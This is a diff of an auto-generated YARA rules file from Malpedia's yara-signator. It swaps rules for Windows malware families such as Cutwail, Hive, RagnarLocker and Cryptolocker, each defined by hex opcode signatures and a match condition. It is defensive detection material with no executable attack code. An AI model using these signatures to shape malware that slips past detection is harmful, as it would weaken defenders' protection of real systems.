+		id = "62e269de-1aa8-5a3f-857f-84d4e225d36e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.infy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.infy_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cutwail_auto.yar#L1-L165"
 		license_url = "N/A"
-		logic_hash = "97f3b09f4f39ef998f79ec8093433c607a41cb99a12ab0573691bf5dec73bf57"
-		score = 60
-		quality = 45
+		logic_hash = "c6c78a26e86e94e8584b09088785fb67085bf6ba9ec9ef8f1d52fe4203a44bcb"
+		score = 75
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -156577,32 +163663,38 @@ rule MALPEDIA_Win_Infy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7e24 8945d4 807de300 7409 8b45e4 66833820 }
-		$sequence_1 = { 7409 8b13 8bc3 e8???????? 85c0 7405 83e804 }
-		$sequence_2 = { 57 33c9 894df8 8955f0 }
-		$sequence_3 = { 7553 837e1400 7442 837e1c00 }
-		$sequence_4 = { 668378f602 7412 6a00 89e0 }
-		$sequence_5 = { 68???????? 8d45c8 ba09000000 e8???????? 8d45ec }
-		$sequence_6 = { 807de300 7409 8b45e4 66833820 7304 33c0 eb02 }
-		$sequence_7 = { c1e002 034610 f6400380 0f94c2 83e201 8955e0 85d2 }
-		$sequence_8 = { e8???????? 8bd0 81e2ff000000 2500ff0000 c1e808 83fa05 7505 }
-		$sequence_9 = { e8???????? 83c40c 5b 5d c20800 55 8bec }
+		$sequence_0 = { 8808 ebc1 8b5508 03550c c60200 c745fc01000000 8b45fc }
+		$sequence_1 = { 3930 0f8491010000 8b08 8b09 894d40 }
+		$sequence_2 = { eb12 8d45f4 50 8b4704 }
+		$sequence_3 = { 59 e9???????? 8b7de0 8b45f8 83f808 }
+		$sequence_4 = { 8b8568feffff 0560ea0000 39855cfeffff 7633 8b8d5cfeffff 898d68feffff e8???????? }
+		$sequence_5 = { 8b400c 894564 8d4568 50 }
+		$sequence_6 = { c7410400000000 6830750000 ff15???????? 8b55fc 8b02 50 }
+		$sequence_7 = { 837d1000 7d04 32c0 eb7d }
+		$sequence_8 = { 84c0 745e 46 8a06 }
+		$sequence_9 = { 51 e8???????? 83c40c c785e0fdffff00000000 c785dcfdffff00000000 }
+		$sequence_10 = { 3bdf 894510 0f84ecfdffff 53 50 }
+		$sequence_11 = { 68a6000000 89450c e8???????? 03c3 50 }
+		$sequence_12 = { e8???????? 83c410 8985ecfdffff 83bdecfdffffff 0f84ae000000 8b95e4fdffff }
+		$sequence_13 = { 76ce 8b7d6c 83ff1d 740e }
+		$sequence_14 = { 7509 c68563feffff01 eb77 83bd6cfeffff05 7d6e ff15???????? 89855cfeffff }
+		$sequence_15 = { e8???????? 83c414 8b85dcfdffff 2b85d8fdffff 0345fc }
 
 	condition:
-		7 of them and filesize <147456
+		7 of them and filesize <262144
 }
-rule MALPEDIA_Win_Killav_Auto : FILE
+rule MALPEDIA_Win_Backspace_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1d5124ec-5245-51ca-8b54-4fbeb7c8a843"
+		id = "8637042a-e46d-5e46-8b23-93a8dfec3a24"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.killav"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.killav_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backspace"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.backspace_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "6bdcae63c9d790007a185fb309199c790674ed97c7a86b96314a377ad757753a"
+		logic_hash = "f8be0bb8ce4eb3c98209ea23733b4688fab87fe72dcb307bd40859035b4f4c31"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156616,32 +163708,32 @@ rule MALPEDIA_Win_Killav_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c745e4e8e24200 e9???????? 894de0 c745e4e8e24200 e9???????? }
-		$sequence_1 = { 8955e0 8b048d70ba4300 f644102801 747c }
-		$sequence_2 = { 6a20 c745e000000000 e8???????? 8bf0 83c404 8975e0 }
-		$sequence_3 = { 8b45f8 8b55f0 8b048570ba4300 807c022800 }
-		$sequence_4 = { e8???????? 8b35???????? 6a00 6880000000 6a03 6a00 6a00 }
-		$sequence_5 = { c645fc1c 50 8d4dd0 e8???????? c645fc00 8b55ec 83fa08 }
-		$sequence_6 = { 8b049570ba4300 885c012e 8b049570ba4300 804c012d04 }
-		$sequence_7 = { 8d45d8 c645fc37 50 8d4dd0 }
-		$sequence_8 = { 6bf838 894df8 8b048d70ba4300 33c9 }
-		$sequence_9 = { e8???????? 8d45d8 c645fc08 50 8d4dd0 }
+		$sequence_0 = { 57 40 50 ff15???????? 85c0 0f8fa3000000 }
+		$sequence_1 = { 3bfb 59 7405 83c705 }
+		$sequence_2 = { 8d8500feffff 50 e8???????? 83c424 85c0 740b ff750c }
+		$sequence_3 = { 8b45f8 ff45f8 3d88130000 7f51 ebc9 8a06 }
+		$sequence_4 = { 885d91 885d92 885d93 885d94 }
+		$sequence_5 = { ff15???????? f7d8 1bc0 59 83e002 59 48 }
+		$sequence_6 = { 393d???????? 7552 be00200000 ff75f8 8d85f8dfffff }
+		$sequence_7 = { 50 e8???????? 56 e8???????? 8bd8 be???????? 83c306 }
+		$sequence_8 = { 8d85f8dfffff 50 e8???????? 59 8bc3 59 e9???????? }
+		$sequence_9 = { a3???????? ff75fc ffd6 395dfc }
 
 	condition:
-		7 of them and filesize <517120
+		7 of them and filesize <131072
 }
-rule MALPEDIA_Win_Winordll64_Auto : FILE
+rule MALPEDIA_Win_Wipbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "32ecf8d5-2cad-5cae-b550-c4e57fba7837"
+		id = "2dc6790b-0815-56da-b4e1-b1ab1c837c71"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winordll64"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.winordll64_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wipbot_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "633c933d5010a60000a71f7674b6b6d81d1af8a3edb249e8b101bbf4eb8e443f"
+		logic_hash = "b4a431b5982e86b4c79c71104a1485b7ef9ede4d9bcd19d6e305251f54be5168"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156655,32 +163747,32 @@ rule MALPEDIA_Win_Winordll64_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 488d4dbc ff15???????? 488d15ae1c0100 488bc8 e8???????? 85c0 }
-		$sequence_1 = { 4833c4 488985581d0000 488bd9 b838070000 48ffc8 c6040100 75f7 }
-		$sequence_2 = { 48897c2420 ff15???????? 85c0 7426 448b842490000000 4c8d4c2430 }
-		$sequence_3 = { e9???????? ba12000000 ebf0 48897c2440 897c2448 488d442448 4889442420 }
-		$sequence_4 = { e8???????? 4c8d0513c50000 41b903000000 488d4c45bc 488bc1 492bc5 }
-		$sequence_5 = { 488bcf c744243001000000 448be8 ff15???????? }
-		$sequence_6 = { 663918 75f5 4c8d4da0 48837db808 4c0f434da0 486307 }
-		$sequence_7 = { 7423 83fefe 741e 488bce 488bc6 488d1554370100 83e11f }
-		$sequence_8 = { 7767 488d4d98 482bcb 48b8abaaaaaaaaaaaa2a 48f7e9 488bf2 }
-		$sequence_9 = { 0f84bd010000 488b4c2450 4533c0 418bd5 ff15???????? 85c0 0f847b010000 }
+		$sequence_0 = { eb05 b8???????? e8???????? 89da 83c9ff e8???????? }
+		$sequence_1 = { 5b 5d e9???????? 5a 31c0 5b 5d }
+		$sequence_2 = { 4c 8d442428 baff010f00 48 89d9 ffd0 48 }
+		$sequence_3 = { b911000000 31c0 c644245e2e 31d2 f3aa c644245f0b c64424601f }
+		$sequence_4 = { 85c0 48 89c6 0f94c2 48 85db 0f94c0 }
+		$sequence_5 = { 8d44245f 88d1 48 01d0 48 ffc2 3208 }
+		$sequence_6 = { eb7d 48 894c2438 e8???????? 01c0 ba9ad65fb0 b98a758b1f }
+		$sequence_7 = { 8d55f4 89542408 8d55f0 c744240c00800000 89542404 c70424ffffffff ffd0 }
+		$sequence_8 = { 89cb b91d000000 c64424222e f3aa c644242379 c644242446 31c0 }
+		$sequence_9 = { 8944240c 8b45a8 83c020 890424 ffd2 85c0 0f9fc0 }
 
 	condition:
-		7 of them and filesize <278528
+		7 of them and filesize <253952
 }
-rule MALPEDIA_Win_Cryptolocker_Auto : FILE
+rule MALPEDIA_Win_Hzrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ef7778bc-4b3f-57b9-be94-b68bbd4e0a82"
+		id = "4d1bc827-a443-5a54-876f-91ca96256a66"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptolocker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptolocker_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hzrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hzrat_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "308de5ca9cd2927cd67ef4efc7cb0917b58e872fb565dc9ff1066d1520a7dec9"
+		logic_hash = "4c8da289e225a98c903b1e25bb40a32ef5f7bbd72fec724a7ddbf67c4f6841b8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156694,32 +163786,32 @@ rule MALPEDIA_Win_Cryptolocker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d4a9f 6683f905 770f c1e004 }
-		$sequence_1 = { 0f858f000000 a1???????? 85c0 7509 }
-		$sequence_2 = { 898431ecfeffff 8b4ee8 85c9 740e 8b01 }
-		$sequence_3 = { ff7720 56 ff15???????? 8b4510 8b4b04 5f 5e }
-		$sequence_4 = { 7405 83f802 7549 85c9 }
-		$sequence_5 = { 8b75fc 33c9 85c0 0f48f1 7522 85f6 781e }
-		$sequence_6 = { c20800 55 8bec 83ec08 53 56 8b7508 }
-		$sequence_7 = { 8b4ee8 85c9 740e 8b01 6a01 8b4004 03c8 }
-		$sequence_8 = { 55 8bec 56 8b750c 8d8600ffffff 83f801 7723 }
-		$sequence_9 = { 0fb7044a 83f820 740f 83f809 7205 83f80d }
+		$sequence_0 = { 7526 c745f500000000 8d4df4 8075f642 8075f742 8075f842 6a00 }
+		$sequence_1 = { ff15???????? 6689442412 8b44240c 89442414 8d442410 6a10 50 }
+		$sequence_2 = { 8bce ff7508 8b4020 ffd0 8b17 8bcf 8ad8 }
+		$sequence_3 = { 03da 81fa00010000 7312 8a8758e94200 0803 42 0fb64101 }
+		$sequence_4 = { 51 e8???????? 83c408 80bd93feffff00 c6856cfeffff00 7445 }
+		$sequence_5 = { 0faee8 e8???????? 8bc8 83c404 85c9 747d }
+		$sequence_6 = { 7410 fe8860f14200 8a8060f14200 84c0 7f1f 8bce e8???????? }
+		$sequence_7 = { dd4520 83c40c c9 c3 8b04c5c4324200 }
+		$sequence_8 = { 7312 0faee8 8b5104 8b4208 }
+		$sequence_9 = { c60000 c645fc03 8b9544fbffff 83fa10 }
 
 	condition:
-		7 of them and filesize <778240
+		7 of them and filesize <409600
 }
-rule MALPEDIA_Win_Neddnloader_Auto : FILE
+rule MALPEDIA_Win_Dyepack_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8eecbeb9-33c7-5f00-852d-691f303c8b89"
+		id = "66b3574f-c7a6-53f0-85d5-ab2a32e5f41d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neddnloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.neddnloader_auto.yar#L1-L169"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dyepack"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dyepack_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "318d1d367a3335dce76e46790f71f42f9c5ddb3e28ec2c109117f64c52aadcd2"
+		logic_hash = "9d7b8dddf2871fef90109ccabdb579a142d1f80f2c5a6a3cb7a4f53499a52084"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156733,38 +163825,32 @@ rule MALPEDIA_Win_Neddnloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c204 3bcf 72f0 8d43ff }
-		$sequence_1 = { 69c0b179379e c1e813 03c9 0fb73411 }
-		$sequence_2 = { 8b5508 69c0b179379e c1e813 33c9 66890c42 }
-		$sequence_3 = { 8d43ff 3bc8 7311 0fb702 }
-		$sequence_4 = { 8bc1 2b45fc 5f 5e }
-		$sequence_5 = { eb02 0008 8b45f8 83c0f4 897dfc }
-		$sequence_6 = { 663bc6 7506 83c102 83c202 3bcb 7307 }
-		$sequence_7 = { 7311 0fb702 0fb731 663bc6 7506 83c102 }
-		$sequence_8 = { 488bf2 41c1ed04 492bf0 41ffc5 488bd3 488bcf }
-		$sequence_9 = { 410fb6c0 4133b48e803c0100 4133b48680480100 418bc0 41337530 c1e808 0fb6d0 }
-		$sequence_10 = { 0fb6c8 410fb6c0 4133bc8e803c0100 4133bc8680480100 41337d60 418bc0 }
-		$sequence_11 = { 448bce 448bc7 488bd0 498bce e8???????? 448bf0 }
-		$sequence_12 = { 488d3d24570000 eb0e 488b03 4885c0 7402 }
-		$sequence_13 = { 0fb6d0 418bc6 458b949480440100 c1e810 0fb6c8 8bc5 }
-		$sequence_14 = { 488d0d14100100 baa00f0000 488bc5 83e51f 48c1f805 486bed58 }
-		$sequence_15 = { ff5348 b97f000000 ff15???????? eb1e 488b5350 498bcd ff5348 }
+		$sequence_0 = { 53 53 56 ffd7 8b442414 8b4c2410 33ed }
+		$sequence_1 = { 7cb2 7f08 8b4c2410 3be9 }
+		$sequence_2 = { 8b442414 8b4c2410 33ed 33ff 3bc3 7c60 7f0a }
+		$sequence_3 = { 741e 8b442418 3bc3 7416 03e8 8b442414 13fb }
+		$sequence_4 = { 1bc7 7815 7f08 81f900100000 }
+		$sequence_5 = { 56 ff15???????? 8b8c2428100000 53 51 }
+		$sequence_6 = { 3bcb 765a eb04 8b4c2410 2bcd }
+		$sequence_7 = { ff15???????? 85c0 741e 8b442418 3bc3 7416 03e8 }
+		$sequence_8 = { 5f 5e 5b 81c414100000 c3 8b3d???????? }
+		$sequence_9 = { ffd7 8d4c2418 53 51 8d54242c }
 
 	condition:
-		7 of them and filesize <3438592
+		7 of them and filesize <212992
 }
-rule MALPEDIA_Win_Datper_Auto : FILE
+rule MALPEDIA_Win_Ragnarlocker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "144df714-10f7-5eb5-ac00-48d1c0a0517d"
+		id = "e474a54c-f0e2-58cf-8fb5-f5efe389dd86"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.datper"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.datper_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ragnarlocker_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "96f11afeb919508bb147708a5d367711547bdbf470c62d9b42f3889c5cdbbcd4"
+		logic_hash = "0ce73fa8ff409c8b46cae101a5ed771c097f4c9fb16c4b873e6cf25053373d48"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156778,34 +163864,34 @@ rule MALPEDIA_Win_Datper_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33c9 ba0c000000 e8???????? c78564d7ffff0c000000 33c0 898568d7ffff }
-		$sequence_1 = { 5a 59 59 648910 68???????? 8d85e8f3ffff }
-		$sequence_2 = { 0fb607 8845f7 0fb6c1 8b55fc 0fb60402 8807 }
-		$sequence_3 = { 50 ff15???????? 85c0 741f 8b8424a80d0000 894348 }
-		$sequence_4 = { 895de4 895de8 895df4 894df0 8955f8 8945fc 8d45fc }
-		$sequence_5 = { 53 e8???????? a3???????? 8d95a8fbffff b8???????? e8???????? 8b85a8fbffff }
-		$sequence_6 = { c78568d7ffff0c000000 33c0 89856cd7ffff c78570d7ffffffffffff 6a00 6a01 8d8568d7ffff }
-		$sequence_7 = { 8b45fc e8???????? 50 e8???????? 8d8564d7ffff 33c9 ba0c000000 }
-		$sequence_8 = { 8d85f0fbffff 50 53 e8???????? 8945f0 a1???????? 50 }
-		$sequence_9 = { 53 e8???????? 6800800000 6a00 56 }
+		$sequence_0 = { 898df4feffff 894dc0 8b4f14 898decfeffff 894df8 8b4d0c 0fb601 }
+		$sequence_1 = { 33f1 8b4de8 8bd0 2345d4 3355d4 2355c8 33d0 }
+		$sequence_2 = { 0fb6c5 6a04 0bd0 0fb6c1 6800300000 c1e208 53 }
+		$sequence_3 = { 039d28ffffff 13bd24ffffff 035d94 137d98 81c338b548f3 81d75bc25639 015df4 }
+		$sequence_4 = { 0fa4ca17 c1ee09 c1e117 0bda 8b55dc 0bf1 8b4de0 }
+		$sequence_5 = { 8bfa 8b4dd4 8bf1 337de8 3375f4 237dac 2355e8 }
+		$sequence_6 = { 897dfc 8bbd34ffffff 8bf7 8bcf c1e618 0facd108 }
+		$sequence_7 = { 3375ec 8b55e8 2355c0 2375d4 33fa 8b4df4 234dec }
+		$sequence_8 = { 03c3 8945b8 13cf 33ff 894de0 }
+		$sequence_9 = { c1e108 0bc8 0fb64604 c1e108 0bc8 894b14 0f114318 }
 
 	condition:
-		7 of them and filesize <253952
+		7 of them and filesize <147456
 }
-rule MALPEDIA_Win_Cueisfry_Auto : FILE
+rule MALPEDIA_Win_Hyperssl_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7fd15319-e895-59d1-bc47-6c7854fd0773"
+		id = "2b769147-d4c5-504a-a0e4-deff8d9a685b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cueisfry"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cueisfry_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperssl"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hyperssl_auto.yar#L1-L217"
 		license_url = "N/A"
-		logic_hash = "312c24021c3e8bf9c6e0d5e58840583a4541e92e9f141ae7391f901c409f9736"
+		logic_hash = "f5cbe0c98412e251badcd68fd5914804f5830187a82b3a89143d596e8e3b1b20"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -156817,34 +163903,48 @@ rule MALPEDIA_Win_Cueisfry_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? b8???????? c3 8b45ec c745fcffffffff 85c0 7406 }
-		$sequence_1 = { f3a5 52 e8???????? 8d44241c }
-		$sequence_2 = { e8???????? 85c0 750c 55 ff15???????? e9???????? }
-		$sequence_3 = { 8944241c 7c0d 80f95a 7f08 0fbee9 }
-		$sequence_4 = { 8975dc e8???????? 8b45ec 3bc7 750d }
-		$sequence_5 = { 8d4c2408 50 e8???????? b91f000000 33c0 8d7c2431 c644243000 }
-		$sequence_6 = { ff15???????? 8bb424a8010000 8d4c240c 51 8bce }
-		$sequence_7 = { 5f 5e 5d 32c0 5b 81c424030000 c3 }
-		$sequence_8 = { 8d4c240c c68424a001000001 e8???????? 8d8c24ac010000 889c24a0010000 e8???????? }
-		$sequence_9 = { 6a00 ff15???????? 68d0070000 ff15???????? 8d94249c000000 6a00 }
+		$sequence_0 = { 0108 3310 c1c607 c1c210 }
+		$sequence_1 = { 33c3 8b5c244c c1ee12 0bfe 33cf 8bf2 }
+		$sequence_2 = { 0105???????? 8d8d5cffffff 89855cffffff 898560ffffff }
+		$sequence_3 = { 2bf0 5f 8a10 301401 8a10 301406 40 }
+		$sequence_4 = { 40 4f 75f2 5f 5e e9???????? c3 }
+		$sequence_5 = { 7436 8b413c 03c1 742a }
+		$sequence_6 = { 03c1 742a 8b4028 03c1 }
+		$sequence_7 = { 0101 0100 0100 0100 }
+		$sequence_8 = { 0100 0200 0200 0002 0002 }
+		$sequence_9 = { 33c0 40 5d c20c00 6a08 }
+		$sequence_10 = { 0108 3908 1bc9 f7d9 }
+		$sequence_11 = { 8b4028 03c1 7423 56 57 }
+		$sequence_12 = { ff15???????? 8bc8 85c9 7436 8b413c }
+		$sequence_13 = { 0105???????? 8d558c 89458c 894590 }
+		$sequence_14 = { c20c00 6a08 68???????? e8???????? 8b450c 83f801 }
+		$sequence_15 = { 0101 014514 2bf3 8b5d0c }
+		$sequence_16 = { 01442428 8b442428 884500 45 }
+		$sequence_17 = { 017e0c 5f 8bc6 5e c20800 }
+		$sequence_18 = { 017e0c 395e10 740f ff7610 }
+		$sequence_19 = { 017e08 8bc3 e8???????? c20400 }
+		$sequence_20 = { 017e0c 8d4d08 e8???????? 5f }
+		$sequence_21 = { 011d???????? 5f 8935???????? 5e }
+		$sequence_22 = { 017e08 50 e8???????? ff0d???????? }
+		$sequence_23 = { 016b08 897b04 5f 5e }
 
 	condition:
-		7 of them and filesize <81920
+		7 of them and filesize <835584
 }
-rule MALPEDIA_Win_8Base_Auto : FILE
+rule MALPEDIA_Win_Hive_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7c9b0c56-079f-5ac3-b0fc-c036345ce952"
+		id = "d6a0e69c-8ba3-5e7b-a7ea-75f1727a32de"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.8base"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.8base_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hive"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hive_auto.yar#L1-L183"
 		license_url = "N/A"
-		logic_hash = "ea755be9fd3154ace1513f9f57e59c67fbe5ae97b6b4073ab7fa5cccbb0a5bb8"
+		logic_hash = "6114f2e9f03828db87c71adf2ad1d3eed20f57d01fa9bb999ecd2843927df4e0"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -156856,32 +163956,43 @@ rule MALPEDIA_Win_8Base_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 ff15???????? 8d8e04a2feff 81f98c230000 770b }
-		$sequence_1 = { f8 290c67 98 a6 73c2 }
-		$sequence_2 = { 8815???????? c605????????6f 880d???????? c605????????65 c605????????63 }
-		$sequence_3 = { 8d3485c0289100 8b06 83e71f c1e706 03c7 8a5824 }
-		$sequence_4 = { c684249c00000002 50 c7442410043a4000 e8???????? }
-		$sequence_5 = { d3ea 89542414 8b442434 01442414 8b442424 31442410 }
-		$sequence_6 = { ff15???????? 8b442414 40 3d???????? 89442414 0f8c0effffff 8b35???????? }
-		$sequence_7 = { 8bf7 83e61f c1e606 033485c0289100 c745e401000000 }
-		$sequence_8 = { 6689442416 33c9 668954241a 8d442434 50 66894c241c 8b4c241c }
-		$sequence_9 = { 899c24ac000000 3bfb 7449 8b8424b8000000 56 8d742418 }
+		$sequence_0 = { 31c0 b91d000000 31d2 31db }
+		$sequence_1 = { b807000000 b9d4000000 31d2 31db }
+		$sequence_2 = { 89c2 e8???????? b801000000 e8???????? }
+		$sequence_3 = { 31c9 31d2 bb54000000 31f6 }
+		$sequence_4 = { 89d1 e8???????? b802000000 e8???????? }
+		$sequence_5 = { 31c9 31d2 bb08000000 becb000000 31ff }
+		$sequence_6 = { 89d0 b90d000000 e8???????? b90d000000 }
+		$sequence_7 = { 31db 31ff eb31 31c0 }
+		$sequence_8 = { 31ff e8???????? 833d????????00 7511 }
+		$sequence_9 = { 89d1 e8???????? b901000000 e8???????? }
+		$sequence_10 = { 81c4b0000000 c3 e8???????? 90 }
+		$sequence_11 = { 31c9 31d2 bb09000000 bee0000000 }
+		$sequence_12 = { 31c0 eb17 0fb6940496000000 0fb674041c 31d6 }
+		$sequence_13 = { 01c1 83c101 83f90c 0f820fffffff }
+		$sequence_14 = { 01c1 c1e106 400fb6d6 01ca }
+		$sequence_15 = { 01c8 c1e006 400fb6cf 01c1 }
+		$sequence_16 = { 01c1 c1e106 0fb6c2 01c8 }
+		$sequence_17 = { 01c2 b8ffffff03 21c5 21c3 }
+		$sequence_18 = { 01c0 4000f8 0fb6c0 48898424b0000000 }
+		$sequence_19 = { 01ca c1e206 0fb6c3 01d0 }
+		$sequence_20 = { 01c8 89c1 c1e91f ffc9 }
 
 	condition:
-		7 of them and filesize <10838016
+		7 of them and filesize <7946240
 }
-rule MALPEDIA_Win_Sharpknot_Auto : FILE
+rule MALPEDIA_Win_Zerot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "50369af8-b07e-5fc0-8a81-2caae560d6bb"
+		id = "8ef83190-c437-5c69-9e28-6f4ff8bb0d5f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpknot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sharpknot_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zerot_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "c9ade7f96a822eb5e208dc6f180c2f1529ab39e41f40e8790faf2abbc1ccb7f4"
+		logic_hash = "0536a182186ebeb3c971f24e54b07f0b9a695f53e7e594ac1e15149db29c5630"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156895,32 +164006,32 @@ rule MALPEDIA_Win_Sharpknot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8d8c246c020000 c7842498050000ffffffff e8???????? 8b8c2490050000 }
-		$sequence_1 = { 8bf8 85ff 0f84a7000000 8b442434 53 }
-		$sequence_2 = { 7c0a 817c241400000400 7304 8b7c2414 6a00 }
-		$sequence_3 = { 8bd8 0f8494000000 85db 0f848c000000 }
-		$sequence_4 = { 6804010000 8d842454010000 57 50 e8???????? }
-		$sequence_5 = { 2beb 8bc1 8bf7 8bfa 53 c1e902 f3a5 }
-		$sequence_6 = { 50 ff15???????? 8b8c2428020000 6a00 6880000000 6a02 6a00 }
-		$sequence_7 = { 57 ff15???????? 8b1d???????? 8d4c243c 8bf0 51 }
-		$sequence_8 = { 50 57 ff15???????? 8b1d???????? 8d4c243c }
-		$sequence_9 = { 68???????? 51 ffd5 8d542410 8d842450010000 52 50 }
+		$sequence_0 = { ff15???????? 46 81e6ff000080 7908 }
+		$sequence_1 = { 50 68???????? ff15???????? 8b3d???????? 8d85bcfbffff 50 }
+		$sequence_2 = { 6a00 ff760c ff15???????? 85c0 7430 6a00 8d85ccf9ffff }
+		$sequence_3 = { 8bf8 6a59 ff15???????? 85c0 b9???????? 0f45cf }
+		$sequence_4 = { 8b8ef2050000 8d96fa050000 e8???????? 8d8534cdffff 50 6802020000 ff15???????? }
+		$sequence_5 = { 85c0 740c 81bd34fcffffc8000000 7421 8b8530fcffff 40 898530fcffff }
